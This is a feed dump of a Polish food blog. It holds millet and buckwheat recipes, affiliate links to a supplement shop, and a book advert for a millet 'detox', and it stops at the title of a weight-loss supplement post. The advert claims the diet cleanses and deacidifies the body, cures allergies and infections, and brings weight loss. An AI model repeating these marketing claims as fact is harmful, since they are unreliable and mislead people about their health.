</script>Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com2tag:blogger.com,1999:blog-4117404407927449930.post-86507571426951638512016-01-27T18:45:00.000+01:002016-01-27T18:49:28.175+01:00Spirulina - zdrowie w zasięgu ręki!Mój blog jest potwierdzeniem tego, że można odżywiać się zdrowo i smacznie. Zdrowe odżywanie dla wielu ludzi oznacza brak smaku i masę wyrzeczeń. To nieprawda, wystarczy, że zerkniecie na przepisy na moim blogu oraz na <a href="https://www.google.pl/url?sa=t&rct=j&q=&esrc=s&source=web&cd=8&cad=rja&uact=8&sqi=2&ved=0ahUKEwj7uMuPw8rKAhUL2ywKHdAgDCIQFghAMAc&url=https%3A%2F%2Fwww.facebook.com%2Fkaszomania%2F&usg=AFQjCNFZdZSjibZC8wEPQggT-7zv_FYo3Q&sig2=P9CQETuq2WYZNiyfmUJOcQ&bvm=bv.112766941,d.bGQ" target="_blank">fanpage'u</a>, gdzie przedstawiam przepisy innych blogerów. :)<br />
<br />
Ostatnio szukałem sklepu internetowego, w którym znajdę zdrowe i naturalne produkty do kuchni, a także suplementy. Przy ulicy, na której mieszkam jest co najmniej 5 sklepów stacjonarnych ze zdrową eko-żywnością, ale z przykrością stwierdzam, że we wszystkich jest jednakowy asortyment "na jedno kopyto"<br />
<br />
Przez przypadek odkryłem <a href="http://sklep.spirulina.pl/?ref=459" target="_blank">Spirulinę</a>. Jest to sklep internetowy, dzięki któremu moja i Wasza kuchnia nabierze zdrowia. Znajdziecie tam m.in.:<br />
<ul>
<li>produkty <a href="http://sklep.spirulina.pl/t/wlasciwosci/bezglutenowe?ref=459" target="_blank">bezglutenowe</a>, <a href="http://sklep.spirulina.pl/t/wlasciwosci/bezlaktozowe?ref=459" target="_blank">bezlaktozowe</a>, dla <a href="http://sklep.spirulina.pl/t/wlasciwosci/dla-diabetykow?ref=459" target="_blank">diabetyków </a>i <a href="http://sklep.spirulina.pl/t/wlasciwosci/dla-wegetarian?ref=459" target="_blank">wegetarian</a>.</li>
<li>suplementy <a href="http://sklep.spirulina.pl/t/wszystkie-produkty/polecane-produkty?ref=459" target="_blank">podnoszące odporność</a>,</li>
<li><a href="http://sklep.spirulina.pl/t/suplementy-specjalistyczne/oleje-i-olejki?ref=459" target="_blank">oleje </a>takie jak: <a href="http://sklep.spirulina.pl/produkty/bio-olej-kokosowy-naturalny-olej-z-drzewa-zycia?ref=459" target="_blank">kokosowy</a>, <a href="http://sklep.spirulina.pl/produkty/bio-olej-arganowy-plynne-zloto-z-maroka?ref=459" target="_blank">arganowy</a>, z <a href="http://sklep.spirulina.pl/produkty/bio-olej-z-czarnego-kminku-egispka-czarnuszka-siewna?ref=459" target="_blank">czarnego kminku</a>, z <a href="http://sklep.spirulina.pl/produkty/olej-z-czarnuszki-egipskiej?ref=459" target="_blank">czarnuszki egipskiej</a> oraz wiele innych.</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpF-jALDBCs7lrMPW2Rn7aLpQN89C8gJLQftOOiaF4M22j1ETzSETpBiMZF7ALcvoxX8LT-_I-ec5TYKpBjyReHbzux-6TQdJ0i1cHmWKzKjq2lWUNEQSbuRVzHoOqyU0CCfghUqqayHLT/s1600/spirulina.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpF-jALDBCs7lrMPW2Rn7aLpQN89C8gJLQftOOiaF4M22j1ETzSETpBiMZF7ALcvoxX8LT-_I-ec5TYKpBjyReHbzux-6TQdJ0i1cHmWKzKjq2lWUNEQSbuRVzHoOqyU0CCfghUqqayHLT/s1600/spirulina.png" /></a></div>
Gorąco zachęcam do zapoznania się z ofertą sklepu, gdyż dzięki temu, możecie wyposażyć swoją kuchnię w najzdrowsze rzeczy nie wychodząc z domu. :) Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com0tag:blogger.com,1999:blog-4117404407927449930.post-83229748209027878462015-10-20T15:04:00.001+02:002017-09-26T22:26:01.893+02:00Kasza jaglana z dynią, mleczkiem kokosowym i curry<br />
<div style="text-align: justify;">
Sezon na dynię w pełni. Szkoda tylko, że nie jest dostępna przez cały rok, bo ilość pysznych i zdrowych dań jakie można z niej wykonać jest nieskończona. Dziś zapraszam na kaszę jaglaną z dynią, mleczkiem kokosowym, a wszystko to zostało zaakcentowane curry. :) Danie ma mega pozytywny kolor, prawda? :)</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFkZCRpCLXUJsluwyQoYFYFj-fAAtJBPQ3fvbcocVdXK8I0lK8EuYgKxz7-uziQIJekcBAIOSuQ_41Vro_J7NwlqORqBlu-VY-XYwzxSCel3un6Uhu6G0L7qoqxvSsEOK9Dk0xkqLd63_D/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kasza jaglana z dynią, mleczkiem kokosowym i curry" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFkZCRpCLXUJsluwyQoYFYFj-fAAtJBPQ3fvbcocVdXK8I0lK8EuYgKxz7-uziQIJekcBAIOSuQ_41Vro_J7NwlqORqBlu-VY-XYwzxSCel3un6Uhu6G0L7qoqxvSsEOK9Dk0xkqLd63_D/s640/2.jpg" title="Kasza jaglana z dynią, mleczkiem kokosowym i curry" width="640" /></a></div>
<div style="text-align: justify;">
<b></b></div>
<a name='more'></a><div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<b>Składniki:</b><br />
- ugotowana kasza jaglana (ilość dowolna) <b><br /></b>
<br />
<div style="text-align: justify;">
- ok 1,5 kg dyni (już obranej i pozbawionej pestek)</div>
<div style="text-align: justify;">
<b></b></div>
<div style="text-align: justify;">
- puszka mleczka kokosowego</div>
<div style="text-align: justify;">
- 2 cebule</div>
<div style="text-align: justify;">
- oliwa</div>
<div style="text-align: justify;">
- sól</div>
<div style="text-align: justify;">
- pieprz</div>
<div style="text-align: justify;">
- 1,5 łyżeczki curry<b></b></div>
<div style="text-align: justify;">
<b><br /></b></div>
<div style="text-align: justify;">
<b>Przygotowanie:</b></div>
<div style="text-align: justify;">
1. Cebulę obieramy, kroimy w piórka i podsmażamy na patelni.<b></b></div>
<div style="text-align: justify;">
2. Dynię pozbawiamy skóry oraz pestek i włókien okalających pestki. Dynię kroimy w kostkę. (zapewniam, że pokochacie tę czynność :D) Pestki suszymy i zjadamy!</div>
<div style="text-align: justify;">
3. Do dużego gara wlewamy wodę, tak aby zakryć dno, wrzucamy dynię i cebulę i dusimy pod przykryciem aż będzie miękka, od czasu do czasu mieszając. Uwaga - nie robimy dżemu!</div>
<div style="text-align: justify;">
4. Do garnka dolewamy całą puchę mleczka kokosowego. Doprowadzamy do wrzenia.</div>
<div style="text-align: justify;">
5. Gotujemy przez kilka minut na bardzo małym ogniu, w międzyczasie przyprawiając solą i pieprzem oraz curry.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Sos z dyni i mleczka kokosowego jest gotowy. Ja polewam nim ugotowaną kaszę jaglaną i zajadam się, aż mi się uszy trzęsą. ʕ•ᴥ•ʔ</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiulQaqlj_Xdb6MTHoCS0HB860TdsjMWUlbu6qTWzJKFY6aFSpi2iL_IicVP4IpWs8t8cRGGjoZE_evy9_9JeYGW95FgiuH6eka84ruvE7Am7UOQWB-JDi3L2ppfNeuwEnrQM98XA8E0Y3Q/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kasza jaglana z dynią, mleczkiem kokosowym i curry" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiulQaqlj_Xdb6MTHoCS0HB860TdsjMWUlbu6qTWzJKFY6aFSpi2iL_IicVP4IpWs8t8cRGGjoZE_evy9_9JeYGW95FgiuH6eka84ruvE7Am7UOQWB-JDi3L2ppfNeuwEnrQM98XA8E0Y3Q/s640/1.jpg" title="Kasza jaglana z dynią, mleczkiem kokosowym i curry" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiMjPAxsCS-1KMNz5ff4E3ccdwtXb1qcRP9-FZA0jSBcmI8kAKSVvTVITBB8rBc-KPk4_uPpmPA1YsxNwIq2MN6Y-hea4XBPimWri8ASR-iJIAZEiSosrPI6dve9LxM82Xz3HgLnIMufSw/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kasza jaglana z dynią, mleczkiem kokosowym i curry" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiMjPAxsCS-1KMNz5ff4E3ccdwtXb1qcRP9-FZA0jSBcmI8kAKSVvTVITBB8rBc-KPk4_uPpmPA1YsxNwIq2MN6Y-hea4XBPimWri8ASR-iJIAZEiSosrPI6dve9LxM82Xz3HgLnIMufSw/s640/3.jpg" title="Kasza jaglana z dynią, mleczkiem kokosowym i curry" width="640" /></a></div>
<div style="text-align: justify;">
<b><br /></b></div>
Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com15tag:blogger.com,1999:blog-4117404407927449930.post-84362942472790739972015-10-14T19:26:00.000+02:002015-10-14T19:26:32.458+02:00Jaglano-gryczana focaccia z oliwkami i suszonymi pomidorami<div style="text-align: justify;">
Zastanawiałem się, co zrobić z nadmiarem mąki gryczanej. Miało powstać "coś" szybkiego, a przecież taka właśnie jest włoska focaccia, z tym, że <a href="http://medytujemy.pl/dumna-gryczano-jaglana-focaccia/" target="_blank">ktoś mnie wyprzedził w pomyśle...</a> :-) Focaccia to nic innego jak spód do pizzy wypełniony różnymi dodatkami. Nie da się tego zepsuć, a efekt jest naprawdę bardzo zaskakujący (oczywiście pozytywnie).</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnHSK2RdBwaNF4LivhmOp0eG2aGdyEq6aMfDiTCnWbIoLH_IA0gWNa7Gh4EwCbCylDqjjQnpNJObAlUKAfdmbjSXh-ZuqzlEn3NHlCZsn4uJHnwxyAOlMyL7vdp2ttpng8ytLm6UGOGnN2/s1600/f3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Jaglano-gryczana focaccia z oliwkami i suszonymi pomidorami" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnHSK2RdBwaNF4LivhmOp0eG2aGdyEq6aMfDiTCnWbIoLH_IA0gWNa7Gh4EwCbCylDqjjQnpNJObAlUKAfdmbjSXh-ZuqzlEn3NHlCZsn4uJHnwxyAOlMyL7vdp2ttpng8ytLm6UGOGnN2/s640/f3.jpg" title="Jaglano-gryczana focaccia z oliwkami i suszonymi pomidorami" width="640" /></a></div>
<div style="text-align: justify;">
<br />
<br />
<a name='more'></a><br /></div>
<div style="text-align: justify;">
<div style="float: left; padding: 10px 10px 0px 0px;">
<script async="" src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<!-- inside -->
<br />
<ins class="adsbygoogle" data-ad-client="ca-pub-7217266407443020" data-ad-slot="3467985936" style="display: inline-block; height: 280px; width: 336px;"></ins><script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script>
</div>
<div style="text-align: justify;">
<b>Składniki:</b>
</div>
<div style="text-align: justify;">
- 2 szklanki mąki gryczanej</div>
<div style="text-align: justify;">
- 3/4 szklanki mąki jaglanej</div>
<div style="text-align: justify;">
- 10g drożdży</div>
<div style="text-align: justify;">
- 2 łyżeczki soli </div>
<div style="text-align: justify;">
- oliwa z oliwek </div>
<div style="text-align: justify;">
- oliwki zielone i czarne</div>
<div style="text-align: justify;">
- suszone pomidory</div>
<div style="text-align: justify;">
- tymianek</div>
<div style="text-align: justify;">
- rozmaryn</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>Przygotowanie:</b></div>
<div style="text-align: justify;">
1. Drożdże rozcieramy z łyżką ciepłej wody i pozostawiamy na ok 10 minut.</div>
<div style="text-align: justify;">
2. Do miski wsypujemy mąkę gryczaną, mąkę jaglaną oraz dodajemy drożdze. Mieszamy, a następnie dodajmy tyle ciepłej wody, aby ciasto było gęste i kleiste. Nie ma potrzeby zagniatania ciasta - mieszamy drewnianą łyżką.</div>
<div style="text-align: justify;">
3. Ciasto pozostawiamy do wyrośnięcia na ok 1h, a następnie ponownie mieszamy łyżką.</div>
<div style="text-align: justify;">
4. Ciasto polewamy oliwą z oliwek. </div>
<div style="text-align: justify;">
5. Dużą blachę wykładamy papierem do pieczenia i rozkładamy na nim ciasto.</div>
<div style="text-align: justify;">
6. Na cieście układamy suszone pomidory, oliwki oraz posypujemy tymiankiem i rozmarynem.</div>
<div style="text-align: justify;">
7. Pieczemy w piekarniki w temp 250 st. przez ok 10 minut.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Focaccię podajemy z oliwą z oliwek tzn. przez polewamy ją oliwą, lub maczamy kawałki ciasta w oliwie. Naprawdę polecam! Jest pysznie! :)</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjznyVVUuW0zUInAPE9rtgUnl548NK4uLPycnNczgPgdbL8jXVKlieKVy34Zawb_E4L4vlhuoM8JL4kqw6tdkfBg4urV5yZKUlbUd3h9j-2xDZQ-sj_kKJL9vOVrjLViVXlVnhmWEhGegrK/s1600/f1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Jaglano-gryczana focaccia z oliwkami i suszonymi pomidorami" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjznyVVUuW0zUInAPE9rtgUnl548NK4uLPycnNczgPgdbL8jXVKlieKVy34Zawb_E4L4vlhuoM8JL4kqw6tdkfBg4urV5yZKUlbUd3h9j-2xDZQ-sj_kKJL9vOVrjLViVXlVnhmWEhGegrK/s640/f1.jpg" title="Jaglano-gryczana focaccia z oliwkami i suszonymi pomidorami" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHr4RSGGrAFTPYr-ahSv_4PI27jPzDDIl7H3CBCnGAGGXj91975w0nywH7wHmSvVd-QJrQWs-WbKE2cTcS_iMPCG5JXUPgh8tN68-nb6-JzsIrUSLEo2sA_CGoLuGIa1hCCCprXbMHfICi/s1600/f2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Jaglano-gryczana focaccia z oliwkami i suszonymi pomidorami" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHr4RSGGrAFTPYr-ahSv_4PI27jPzDDIl7H3CBCnGAGGXj91975w0nywH7wHmSvVd-QJrQWs-WbKE2cTcS_iMPCG5JXUPgh8tN68-nb6-JzsIrUSLEo2sA_CGoLuGIa1hCCCprXbMHfICi/s640/f2.jpg" title="Jaglano-gryczana focaccia z oliwkami i suszonymi pomidorami" width="640" /></a></div>
<br />
<br />
<br /></div>
Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com2tag:blogger.com,1999:blog-4117404407927449930.post-28685115258593142872015-09-26T14:52:00.001+02:002015-09-28T17:56:56.721+02:00Jaglany detoks<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.ceneo.pl/39719307#cid=11900&crid=34219&pid=6582" rel="nofollow" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;" target="_blank"><img alt="Jaglany detoks" border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuZNdW8hFu-wXQnu7WeD3vwMgXYee-X7LIHoWJPPElWmgj0lhHtOEeDHVmldHDzuS8zKR9vRINzu3bb4hhYObpjp93ysittqmzGrcQYwwymO-H-vTgTtr-eCSbagLOYscWXVFV-_Cuhpcu/s400/i-jaglany-detoks.jpg" width="275" /></a></div>
<div style="text-align: justify;">
Czy wiecie, że o kaszy jaglanej powstała książka? i to aż <b>336 stron</b>! Niewiarygodne. Myślę, że taka publikacja powinna znaleźć się w posiadaniu każdego, dla kogo zdrowe odżywianie to kwestia bardzo istotna. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Odkryj, jaki wpływ na twoje zdrowie i życie może mieć kasza jaglana -
niekwestionowana królowa zdrowia! Dowiedz się jak przeprowadzić
bezglutenowy detoks o każdej porze roku. Pragniesz schudnąć bez
głodzenia się? Chcesz zwiększyć odporność organizmu? Męczą cię uporczywe
infekcje albo odczuwasz znużenie? Nie wiesz, jak poradzić sobie z
alergią? W książce znajdziesz sprawdzony sposób na pozbycie się
trapiących cię problemów. Dzięki proponowanej diecie oczyścisz swój
organizm, a przede wszystkim poprawisz jakość swojego życia. Już dziś
możesz rozpocząć odkwaszanie i cieszyć się dobrym zdrowiem. Dowiesz się,
jak w dzisiejszym, szybkim świecie odnaleźć spokój wewnętrzny. Program
"Jaglany Detoks" jest inspiracją do odbycia podróży w głąb siebie - do
poszukiwania tego, co dla nas najważniejsze. Nigdy nie jest za późno by
zadbać o siebie i swoich bliskich!<br />
<br />
<div style="text-align: center;">
<br />
<br />
<br />
<br />
<b>Aby dowiedzieć się więcej lub kupić książkę, kliknij w obrazek powyżej lub kliknij <a href="http://www.ceneo.pl/39719307#cid=11900&crid=34219&pid=6582" rel="nofollow" target="_blank">tutaj</a>.</b></div>
</div>
Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com3tag:blogger.com,1999:blog-4117404407927449930.post-77407222293847969092015-09-26T14:14:00.002+02:002017-09-26T22:27:34.390+02:00Kotlety mielone z kaszą jaglaną<div style="text-align: justify;">
Uwielbiam tradycyjne mielone, ale nigdy nie wychodzą mi takie jak powinny, czyli są trochę twardawe. Przepis na tradycyjne mielone przeszedł małą modyfikację - dodałem kaszę jaglaną. Tym oto sposobem uzyskałem kotlety miękkie i bardzo sycące. Samo ich przygotowanie nie jest żadną filozofią, ale trzeba uważać, aby ich nie przypalić. :)</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b></b></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi76fjAiPH_4Amaso9jdG-FT6hy7EVHwwmugJ94P0WSeeFqoL_anCQDaGfYzmzt9ewDT223-ojbpHVhwvpS2-LXxA6oEjs3-ZgvxI9T6qfGn6I0avMnPeRnLZLacH21Twr-o21oVDhLI0CI/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kotlety mielone z kaszą jaglaną" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi76fjAiPH_4Amaso9jdG-FT6hy7EVHwwmugJ94P0WSeeFqoL_anCQDaGfYzmzt9ewDT223-ojbpHVhwvpS2-LXxA6oEjs3-ZgvxI9T6qfGn6I0avMnPeRnLZLacH21Twr-o21oVDhLI0CI/s640/2.jpg" title="Kotlety mielone z kaszą jaglaną" width="640" /></a></div>
<br />
<a name='more'></a><br />
<b>Składniki:</b><br />
<div style="text-align: justify;">
<b>- </b>3/4 szklanki kaszy jaglanej</div>
<div style="text-align: justify;">
- 500 g mięsa mielonego</div>
<div style="text-align: justify;">
- cebula</div>
<div style="text-align: justify;">
- 2 ząbki czosnku </div>
<div style="text-align: justify;">
- jajko</div>
<div style="text-align: justify;">
- łyżka masła</div>
<div style="text-align: justify;">
- sól</div>
<div style="text-align: justify;">
- pieprz</div>
<div style="text-align: justify;">
- oregano</div>
<div style="text-align: justify;">
- papryka ostra w proszku</div>
<div style="text-align: justify;">
- oliwa do smażenia <br />
<br /></div>
<div style="text-align: justify;">
<b> </b></div>
<div style="text-align: justify;">
<b>Przygotowanie:</b></div>
<div style="text-align: justify;">
1. Gotujemy kaszę jaglaną.</div>
<div style="text-align: justify;">
2. Cebulę kroimy bardzo drobno.</div>
<div style="text-align: justify;">
3. Rozgrzewamy patelnię i rozpuszczamy na niej łyżkę masła<b>. </b>Dodajemy cebulę i przeciśnięty przez praskę czosnek. Cebulę i czosnek przyprawiamy łyżeczką ostrej papryki i smażymy do miękkości.</div>
<div style="text-align: justify;">
4. Do miski wkładamy mięso mielone, ugotowaną jeszcze ciepłą kaszę jaglaną, usmażoną cebulę, oraz jajko. Wszystko przyprawiamy solą, pieprzem i oregano.</div>
<div style="text-align: justify;">
5. Całość dokładnie i energicznie mieszamy, aby wszystkie składniki dobrze się połączyły.<b></b></div>
<div style="text-align: justify;">
6. Nabieramy łyżką masę i formujemy kotlety, które smażmy z obydwu stron na rozgrzanej oliwie.<b> </b> </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Pamiętajcie - mięso nie może być surowe, a kotlety spalone! ;)<b><br /></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Kotlety możecie także upiec w piekarniku - na pewno będą mniej kaloryczne.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3cHLfXyQKrtdwY3GNStKyKSu47E0W91fCjot9oRmzyhXApelho9Rmk5SldZb63tgljcvMdB_xZzWqvvI12bS_rO9pkDxWfpXTH-pUCbxiTLwklfS1Ttjeuy46EC2YVX-MUiXaoJNVESlw/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kotlety mielone z kaszą jaglaną" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3cHLfXyQKrtdwY3GNStKyKSu47E0W91fCjot9oRmzyhXApelho9Rmk5SldZb63tgljcvMdB_xZzWqvvI12bS_rO9pkDxWfpXTH-pUCbxiTLwklfS1Ttjeuy46EC2YVX-MUiXaoJNVESlw/s640/3.jpg" title="Kotlety mielone z kaszą jaglaną" width="640" /></a></div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDv95noMJX0KfzK0qf1WhJpgpt8O-jzgMbhpa90XYO5CXvWVh86yGV-FRzRVVzrOZD6BKcmalaqykqFPrOp5MchB02jcYf6XjLz4Lq-lB6-G4WUwh-xTY9e6H_HoGKvOCez2PbhfLe7NCR/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kotlety mielone z kaszą jaglaną" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDv95noMJX0KfzK0qf1WhJpgpt8O-jzgMbhpa90XYO5CXvWVh86yGV-FRzRVVzrOZD6BKcmalaqykqFPrOp5MchB02jcYf6XjLz4Lq-lB6-G4WUwh-xTY9e6H_HoGKvOCez2PbhfLe7NCR/s640/1.jpg" title="Kotlety mielone z kaszą jaglaną" width="640" /></a></div>
<br />Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com4tag:blogger.com,1999:blog-4117404407927449930.post-20233697189643718042015-09-20T00:16:00.000+02:002017-09-26T22:27:41.803+02:00Kasza jaglana curry z kurczakiem, ananasem i mleczkiem kokosowym<div style="text-align: justify;">
Niebo w gębie! Innymi słowami nie da się opisać tego połączenia. Pierś kurczaka w sosie curry z mleczkiem kokosowym jadałem dotychczas z ryżem, ale eksperyment polegający na zastąpieniu ryżu kaszą jaglaną, wypadł znakomicie. Kolejny udany przepis, którym chętnie się podzielę. No i curry - ta przyprawa rządzi!</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq2hxUnL_mZttys1iW_0jUPJ9bRknBHkfvdxsZgCnhDcwH5XPpl8DjdPJeKiP3ux5BaX6VPicT9OsY6xE_SixXo2wTztctONW-wEOs5ti7YRmv8krq9xEj9XOLVsqOBOQKMn7XwitdFnt2/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kasza jaglana curry z kurczakiem, ananasem i mleczkiem kokosowym" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq2hxUnL_mZttys1iW_0jUPJ9bRknBHkfvdxsZgCnhDcwH5XPpl8DjdPJeKiP3ux5BaX6VPicT9OsY6xE_SixXo2wTztctONW-wEOs5ti7YRmv8krq9xEj9XOLVsqOBOQKMn7XwitdFnt2/s640/1.jpg" title="Kasza jaglana curry z kurczakiem, ananasem i mleczkiem kokosowym" width="640" /></a></div>
<br />
<a name='more'></a><br />
<b>Składniki:</b><br />
- kasza jaglana (na tę ilość sosu ok 3/4 szklanki suchej kaszy)<br />
- mleczko kokosowe<br />
- ananas w puszce<br />
- jogurt naturalny lub grecki<br />
- pierś z kurczaka lub indyka<br />
- garść rodzynek<br />
- 2 łyżki wiórek kokosowych<br />
- cebula <br />
- 2 ząbki czosnku<br />
- 2 łyżeczki curry<br />
- łyżeczka kurkumy<br />
- 1/2 łyżeczki imbiru<br />
- sól oraz pieprz <br />
- oliwa<br />
<br />
<div style="text-align: justify;">
<b>Wykonanie: </b></div>
<div style="text-align: justify;">
1. Gotujemy kaszę jaglaną.</div>
<div style="text-align: justify;">
2. Przez praskę przeciskamy czosnek, cebulę kroimy w cienkie piórka, a następnie przesmażamy wraz z czosnkiem na pateleni z dodatkiem oliwy - ok 2-óch łyżek.</div>
<div style="text-align: justify;">
3. Pierś kurczaka kroimy w kostkę i dodajemy do cebuli oraz czosnku.</div>
<div style="text-align: justify;">
4. Całość przyprawiamy curry, kurkumą oraz imbirem, a także dodajemy wiórki kokosowe oraz rodzynki. Smażymy przez kilka minut, aż mięso nie będzie surowe.</div>
<div style="text-align: justify;">
4. Do mięsa dodajemy mleczko kokosowe oraz ananasa pokrojonego w kostkę i gotujemy na wolnym ogniu przez ok 15</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
minut do momentu, aż sos nieco zgęstnieje. Na koniec dodajemy 3 łyżki jogurtu naturalnego lub greckiego i doprawiamy pieprzem oraz solą.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwUGRjdL90-kQXRlJY56vNwGA6UV9gcENBKOewGxBIlXhfYfXp9Pz_MFOVo46YgJSqHHpVS0bkNbKVIybnCtM7SWiu66NN7RtEFaQoPJBFRV2ZqfjIDumBnLaEU7V1xI50CEVJkcyFDx8n/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kasza jaglana curry z kurczakiem, ananasem i mleczkiem kokosowym" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwUGRjdL90-kQXRlJY56vNwGA6UV9gcENBKOewGxBIlXhfYfXp9Pz_MFOVo46YgJSqHHpVS0bkNbKVIybnCtM7SWiu66NN7RtEFaQoPJBFRV2ZqfjIDumBnLaEU7V1xI50CEVJkcyFDx8n/s640/2.jpg" title="Kasza jaglana curry z kurczakiem, ananasem i mleczkiem kokosowym" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieqb3y8Hfu9gIAecltkBoUzz9QVYozcoe3Wv62FgPsxSX9HzxDY76WFmQimZrJVsu-SDk9azCmfOd2dBfQ-x5J0w6ws0tlYXk3j4NPWF902wU7l-cMcIgLLY0iFep4oenbTN_K82oQHh6L/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kasza jaglana curry z kurczakiem, ananasem i mleczkiem kokosowym" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieqb3y8Hfu9gIAecltkBoUzz9QVYozcoe3Wv62FgPsxSX9HzxDY76WFmQimZrJVsu-SDk9azCmfOd2dBfQ-x5J0w6ws0tlYXk3j4NPWF902wU7l-cMcIgLLY0iFep4oenbTN_K82oQHh6L/s640/1.jpg" title="Kasza jaglana curry z kurczakiem, ananasem i mleczkiem kokosowym" width="640" /></a></div>
<br />
Podajemy z ugotowaną kaszą jaglaną w postaci np. wymieszanej. =)Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com10tag:blogger.com,1999:blog-4117404407927449930.post-20217253205903371842015-09-19T09:51:00.001+02:002016-02-09T16:15:57.582+01:00African Mango - Opinie, Cena, Gdzie kupić? Odchudzanie z afrykańskim mango.<div style="text-align: justify;">
